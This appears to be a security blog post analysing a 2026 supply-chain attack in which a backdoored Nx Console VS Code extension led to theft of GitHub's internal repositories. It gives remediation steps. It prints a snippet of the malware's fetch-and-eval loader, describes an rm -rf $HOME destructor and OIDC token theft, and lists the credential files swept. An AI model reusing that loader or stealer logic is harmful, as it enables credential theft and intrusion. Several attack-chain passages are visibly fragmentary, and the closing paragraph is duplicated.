On May 18, 2026, a poisoned VS Code extension was live on the official Microsoft marketplace for between 11 and 18 minutes. That was enough. By May 20, GitHub had confirmed that roughly 3,800 of its internal repositories — containing proprietary source code, internal tooling, and platform infrastructure — had been exfiltrated. The stolen data is currently being auctioned on a cybercrime forum with a starting price of $50,000. This is the full technical story of how it happened, who did it, and what every developer needs to do right now.
This is not a story about a single hack. It is the seventh confirmed attack in a nine-month campaign by one of the most methodical supply chain threat actors of 2026. GitHub was not the target because it was vulnerable. It was the target because it was the most valuable thing reachable from a poisoned developer tool. Understanding that distinction is the difference between patching this incident and actually being prepared for the next one.
One Extension. One Employee. 3,800 Repositories.
The Nx Console extension for VS Code is not an obscure plugin. It has been installed over 2.2 million times and is a standard tool for developers working with the Nx monorepo build system — the kind of extension that lives quietly in your sidebar, trusted by default, updated automatically. On May 18, 2026 at 12:36 UTC, version 18.95.0 of Nx Console was published to the official Visual Studio Code Marketplace. It looked identical to every previous version. It was not.
Inside the update, embedded in the extension's main.js file, was a 2,777-byte backdoor. The moment a developer opened any workspace with the extension active, the payload executed silently. It downloaded and ran an obfuscated package from a planted orphan commit inside the legitimate nrwl/nx GitHub repository — meaning the secondary payload was also pulling from a trusted, verified source. The Nx team detected the compromise and pulled the extension at 12:48 UTC. Eleven to eighteen minutes, depending on which security firm's timeline you trust. Long enough.
One GitHub employee had installed the poisoned version. Their machine became the entry point. From there, the attacker used the employee's existing credentials and internal access to clone approximately 3,800 of GitHub's private internal repositories. GitHub confirmed the breach on May 20 via a numbered thread on X — not on its official blog, not on githubstatus.com — stating that the attacker's claimed figure of 3,800 repositories was "directionally consistent" with their investigation. Customer data was not affected. GitHub's internal infrastructure was.
How the Attack Actually Worked — Step by Step
This was not a brute force attack. There was no CVE. No traditional vulnerability was exploited. Standard SCA tools, CVE scanners, and signed-provenance checks all missed it. What TeamPCP did was weaponise trust itself — the trust developers place in extensions from the official marketplace, in packages from well-known maintainers, in CI/CD pipelines that carry valid cryptographic signatures.
The attack chain — from TanStack to GitHub
pull_request_target workflow misconfiguration, GitHub Actions cache poisoning, and runtime memory extraction of an OIDC token from the Actions runner process. Using the OIDC token, they minted fresh npm publishing credentials — with valid Sigstore provenance attestations attached — and published 84 malicious package versions across 42 TanStack packages in under six minutes.
router_init.js — swept the environment for credentials including GitHub CLI tokens, npm publishing tokens, AWS keys, GCP credentials, Kubernetes service accounts, SSH keys, 1Password vault contents, and Claude Code configuration files containing MCP server auth tokens. The contributor's GitHub personal access token had push access to nrwl/nx.
nrwl/nx repository — a branch with no history, invisible in normal browsing. The commit contained only two files: a package.json and an obfuscated index.js payload. This orphan commit served as the second-stage payload delivery mechanism — hosted on the legitimate nrwl/nx repo, passing any source-trust checks.
~/.local/share/kitty/cat.py with a LaunchAgent for hourly execution. The backdoor used GitHub's Search API as a dead-drop — polling for commits matching the keyword firedalazer and verifying RSA-PSS signatures before executing attacker-controlled Python. SHA256: fb5c97557230a27460fdab01fafcfabeaa49590bafd5b6ef30501aa9e0a51142.
The payload — what it stole and how it persisted
The credential stealer inside Nx Console 18.95.0 was not a simple keylogger. It was a comprehensive secret harvester targeting every high-value credential a developer is likely to have on their machine. According to analysis from OX Security, Corgea, and Sophos, the payload specifically targeted:
Credentials targeted by the Nx Console payload
- GitHub CLI tokens and GitHub personal access tokens
- npm publishing credentials and registry auth tokens
- AWS access keys and secret keys from
~/.aws/credentials - Google Cloud Platform service account keys
- Kubernetes service account tokens and kubeconfig files
- HashiCorp Vault tokens
- SSH private keys from
~/.ssh/ - 1Password vault contents via the CLI
- Bitwarden vault contents
- Anthropic Claude Code configurations from
~/.claude/including MCP server auth tokens - Docker registry credentials and container auth
The macOS persistence mechanism is particularly sophisticated. The backdoor cat.py installs a LaunchAgent that executes hourly, polling GitHub's Search API for attacker-controlled commands disguised as commit searches. The use of RSA-PSS signature verification means only the attacker can issue valid commands — copycat operators cannot hijack the backdoor even if they observe the polling pattern.
# On workspace open, the extension silently ran: exec("node -e \" const https = require('https'); https.get({ hostname: 'raw.githubusercontent.com', path: '/nrwl/nx/orphan-ref/index.js' // planted orphan commit }, (r) => { let d = ''; r.on('data', c => d += c); r.on('end', () => eval(d)); // executes second-stage payload }); \"") # macOS persistence — installed as LaunchAgent ~/.local/share/kitty/cat.py # Python C2 backdoor # Polls GitHub Search API for keyword: firedalazer # Verifies RSA-PSS signature before executing commands # SHA256: fb5c97557230a27460fdab01fafcfabeaa49590bafd5b6ef30501aa9e0a51142
The Sigstore provenance bypass — the most dangerous part nobody is talking about
Here is the detail that should make every security team uncomfortable. The TanStack packages published by TeamPCP on May 11 did not just look legitimate — they carried valid SLSA Build Level 3 provenance attestations from Sigstore. Sigstore is the cryptographic signing infrastructure that npm, PyPI, and the broader open-source ecosystem are increasingly relying on as the answer to supply chain security. If a package has a valid Sigstore attestation, the assumption is that it came from a legitimate build pipeline.
"The attack produced no CVE. Standard CVE-feed scanners, SCA tools, and signed-provenance checks all missed it."
— Phoenix Security, May 2026TeamPCP bypassed Sigstore not by breaking the cryptography but by stealing the OIDC tokens that the build pipeline uses to generate those attestations. When you control the token, you control the signature. The malicious packages had provenance that passed npm audit signatures. This is a structural problem with how provenance works — not a flaw in the cryptography, but a flaw in assuming that a valid signature means a trustworthy build environment.
To understand why this matters at scale: Sigstore was purpose-built as the answer to untrusted open-source packages. It is being actively adopted across npm, PyPI, Maven, and Cargo as the industry standard for package provenance. The pitch is that by cryptographically tying a package release to a specific build pipeline run — using short-lived OIDC tokens rather than long-lived signing keys — you can prove a package came from a project's official CI/CD system. It is a genuinely good idea. TeamPCP found the gap: the OIDC token lives inside the CI runner process memory during the build. If you can get code to run inside that process — via a misconfigured pull_request_target workflow, via cache poisoning, via a compromised dependency — you can extract the token and sign anything with valid provenance. The cryptography is intact. The trust model underneath it has a hole.
What this means practically: security teams that have invested in Sigstore-based verification as their supply chain defence need to understand that it is a necessary but not sufficient control. It eliminates the threat of packages published by entirely unknown actors. It does not protect against packages published with stolen credentials from legitimate, trusted build pipelines. The perimeter of trust has simply moved — from "did this package come from a known publisher" to "was this build pipeline uncompromised when it ran." TeamPCP has now demonstrated that the answer to that second question is not always yes, and that existing tooling cannot reliably detect when it is not.
Who Is TeamPCP — and Why the GitHub Breach Was Not Their First Rodeo
TeamPCP — formally tracked by Google's Threat Intelligence Group as UNC6780, with additional aliases DeadCatx3, PCPcat, ShellForce, and CipherForce across Snyk, Palo Alto Networks Unit 42, and Trend Micro — emerged as a distinct threat actor in late 2025. Their speciality is supply chain attacks against open-source developer tooling, specifically tools that security teams already trust. The GitHub breach was not a one-off. It was wave seven of a sustained campaign.
TeamPCP / UNC6780 attack timeline — 2026
- March 2026 — Aqua Security Trivy vulnerability scanner compromised. Trivy is installed on millions of CI/CD pipelines globally.
- April 2026 — Bitwarden CLI npm package compromised. Targeted specifically because developers store all their secrets in Bitwarden.
- May 9, 2026 — Checkmarx KICS and Jenkins AST Plugin compromised. Security tooling as the attack vector.
- May 11, 2026 — TanStack npm ecosystem. 84 malicious packages, Mistral AI and UiPath confirmed downstream victims. CVE-2026-45321.
- May 12, 2026 — Mistral AI and OpenSearch JavaScript client (1.3M weekly downloads) hit as worm self-propagates through stolen CI/CD credentials.
- May 12, 2026 — vx-underground reports TeamPCP has open-sourced the Shai-Hulud worm code. Copycat variants already emerging.
- May 18–20, 2026 — Nx Console / GitHub breach. 3,800 internal repositories.
The pattern across all seven waves is consistent: pick a widely-trusted tool in the developer or security ecosystem, compromise a maintainer or contributor account through a previous wave's credential harvest, publish a malicious version from a legitimate identity, steal credentials from every developer who installs it, use those credentials to fund the next wave. The Shai-Hulud worm — named after the sandworms in Dune — is self-propagating: every infected CI run becomes a new publisher, spreading the infection through the npm and PyPI ecosystems without requiring direct attacker involvement.
What makes TeamPCP unusually dangerous is not just the technical sophistication of their attack chain — it is the operational patience. Each wave is carefully staged to harvest credentials that fund the next one. The Trivy compromise in March gave them credentials inside security teams' CI pipelines. The Bitwarden CLI compromise in April gave them access to password vaults. The Checkmarx compromise in early May gave them tokens from enterprise SAST environments. The TanStack wave on May 11 gave them contributor tokens for widely-used JavaScript projects including Nx. Each wave is both an attack in its own right and reconnaissance for the next target. GitHub was not a random choice. It was the logical next step after accumulating enough credentials from the developer ecosystem surrounding it.
The Shai-Hulud worm's self-propagation mechanism deserves specific attention. On infected CI runners with active OIDC federation, the worm automatically mints fresh npm tokens using the runner's own identity and uses them to republish infected package versions under stolen maintainer credentials — with valid Sigstore provenance attestations attached. The worm drives its own expansion without requiring direct attacker involvement. By the time npm's quarantine systems activated, 170 packages across 19 namespaces were already gone, including the AWS-maintained OpenSearch JavaScript client at 1.3 million weekly downloads and the official Mistral AI SDK family on both npm and PyPI.
The decision to open-source the worm code on May 12 is the development that should concern security teams most. It means the attack is no longer exclusive to TeamPCP. Any threat actor can now deploy the same cache-poisoning, OIDC-extraction, and provenance-attested publishing chain against any npm or PyPI package with a misconfigured CI/CD pipeline. Copycat variants have already been observed. What started as a financially motivated criminal operation with sophisticated TTPs is now a template that lowers the technical bar for every subsequent attacker who wants to target the developer supply chain.
If You Use VS Code, npm, or CI/CD Pipelines — Do This Now
The Nx Console fix is straightforward — update to version 18.100.0 or later. But that is the smallest part of what needs to happen. The broader question is whether any machine on your team installed the compromised version during the 11–18 minute window on May 18, or ran any of the affected TanStack packages after May 11. If either is true, the credential sweep has already happened.
Security researchers have confirmed a rm -rf $HOME destructor in the gh-token-monitor daemon. If you revoke GitHub tokens before network-isolating the affected machine and killing the daemon, the malware triggers the destructor. The correct order is: network-isolate first → kill gh-token-monitor → then revoke and rotate all credentials.
Immediate checks — run these on every developer machine
# 1. Check for the macOS C2 backdoor ls -la ~/.local/share/kitty/cat.py launchctl list | grep kitty # 2. Check for malicious processes ps aux | grep gh-token-monitor # 3. Check VS Code extension version code --list-extensions --show-versions | grep nrwl.angular-console # Safe: 18.100.0+ | Compromised: 18.95.0 # 4. Check npm lockfiles and caches for indicators grep -r "router_init.js\|tanstack_runner.js" package-lock.json yarn.lock pnpm-lock.yaml # 5. Check Claude Code config for tampering cat ~/.claude/*.json | grep -i "mcp\|auth\|token" # 6. Known C2 domains — check firewall/DNS logs # api.masscan.cloud | git-tanstack.com | *.getsession.org # 7. Payload SHA256 to scan for # fb5c97557230a27460fdab01fafcfabeaa49590bafd5b6ef30501aa9e0a51142
Credentials to rotate if you are affected
In the correct order — after network isolation and killing gh-token-monitor:
Rotate in this sequence
- GitHub personal access tokens and fine-grained PATs — revoke all, reissue with minimum required scopes
- npm tokens — revoke all publishing and automation tokens immediately
- AWS access keys — rotate via IAM, review CloudTrail for unauthorised actions in the past 7 days
- GCP service account keys — rotate and audit IAM audit logs
- Kubernetes service account tokens — rotate and review RBAC for any new bindings
- SSH private keys — regenerate keypairs and update authorized_keys on all servers
- 1Password and Bitwarden master passwords — change and review shared vault access
- Claude Code MCP server tokens — rotate any external service tokens stored in ~/.claude/ configs
- HashiCorp Vault tokens — revoke and reissue, review audit logs for the past week
Longer-term — how to stop this happening again
The uncomfortable truth is that updating Nx Console and rotating credentials addresses this specific incident. It does not address the underlying problem. TeamPCP has demonstrated that the modern developer trust model — install extensions from the official marketplace, use packages from known maintainers, rely on Sigstore provenance as a quality signal — is fundamentally exploitable without breaking any cryptography. The attack surface is trust, not code.
Specifically: audit every VS Code extension your team has installed and treat auto-update as a risk, not a convenience. The VS Code Marketplace has no equivalent of npm's automated malware scanning — it relies primarily on publisher reputation and community reporting. An extension with 2.2 million installs and years of legitimate history can be poisoned in a single publishing event if the publisher's credentials are compromised. Auto-update silently applies that poison to every developer on your team within hours. Consider disabling auto-update for extensions and requiring manual review of version changes, particularly for extensions with elevated filesystem or network access.
Pin your dependencies in package.json and lockfiles and review changes before applying them in CI. Restrict CI/CD OIDC token scopes to the minimum required — the TanStack attack chain relied on over-permissioned OIDC tokens that had npm publishing access when they only needed read access. Audit your pull_request_target workflows specifically — this trigger runs with write permissions even for PRs from forks, and it is one of the most commonly misconfigured patterns in GitHub Actions. If your workflow uses pull_request_target and checks out PR code, you have the same misconfiguration TeamPCP exploited.
For organisations with high-value internal repositories, consider treating developer workstations as a potential breach vector rather than a trusted inside-the-perimeter asset. The GitHub breach entered through a developer endpoint, not through GitHub's platform infrastructure. Endpoint detection that covers developer tools — IDE extensions, package managers, build runtimes — is not standard in most enterprise security stacks, which typically focus on network perimeter and server-side detection. The Nx Console backdoor installed a LaunchAgent and used GitHub's own Search API for C2 communications — neither of which would have triggered most standard EDR signatures.
The Deeper Lesson Nobody Is Saying Out Loud
Every post-breach writeup on this incident ends with some version of "update your extensions and rotate your credentials." That advice is correct. It is also insufficient, because it treats this as a discrete incident to be remediated rather than evidence of a structural shift in how the developer ecosystem is being attacked.
TeamPCP has now compromised Trivy — the tool your security team uses to scan containers. Bitwarden CLI — where your developers store their secrets. Checkmarx — one of the most widely deployed SAST tools in enterprise environments. TanStack — used by millions of JavaScript developers globally. And now Nx Console — with 2.2 million installs on the official Microsoft marketplace. The common thread is not a vulnerability in any of these tools. It is that each of them sits inside the trusted perimeter of developer and security workflows. They run with elevated access. They are updated automatically. They are assumed to be safe because they come from known publishers through official channels.
That assumption is now demonstrably wrong. TeamPCP has spent nine months proving it wave by wave, picking higher-download targets each time, escalating from security utilities to password managers to JavaScript frameworks to the world's largest code hosting platform. And as of May 12, they have open-sourced the worm. What was a sophisticated, financially motivated supply chain operation is now a template that any reasonably capable threat actor can run against any project with a misconfigured CI/CD pipeline.
There is a version of this story where the security industry responds by hardening the specific weaknesses TeamPCP exploited — tightening OIDC token scopes, fixing the pull_request_target misconfiguration pattern, adding behavioural analysis to the VS Code Marketplace review process. Those fixes are necessary and overdue. But they are reactive. TeamPCP will find the next gap in the next layer of the developer trust model, the same way they moved from npm packages to VS Code extensions to CI runners to internal repositories over nine months. The campaign is not over. Wave seven was GitHub. The question worth asking right now is what sits one hop beyond GitHub in the credential graph — and whether that target has already been added to the list.
The GitHub breach did not happen because GitHub's security team made a mistake. It happened because one employee installed a legitimate extension from the official marketplace during an 11-minute window while doing their normal job. That is not a human error problem. That is a structural problem with how the entire developer tooling ecosystem handles trust — and until the ecosystem builds better answers to it, the honest posture for every engineering organisation is this: every tool you trust is a potential entry point. Act accordingly.
The GitHub breach did not happen because GitHub's security team made a mistake. It happened because one employee installed a legitimate extension from the official marketplace during an 11-minute window. That is not a human error problem. That is a structural problem with how the entire developer tooling ecosystem handles trust. Until the ecosystem builds better answers to that structural problem — and it is working on them, slowly — the honest advice is this: every tool you trust is a potential entry point. Act accordingly.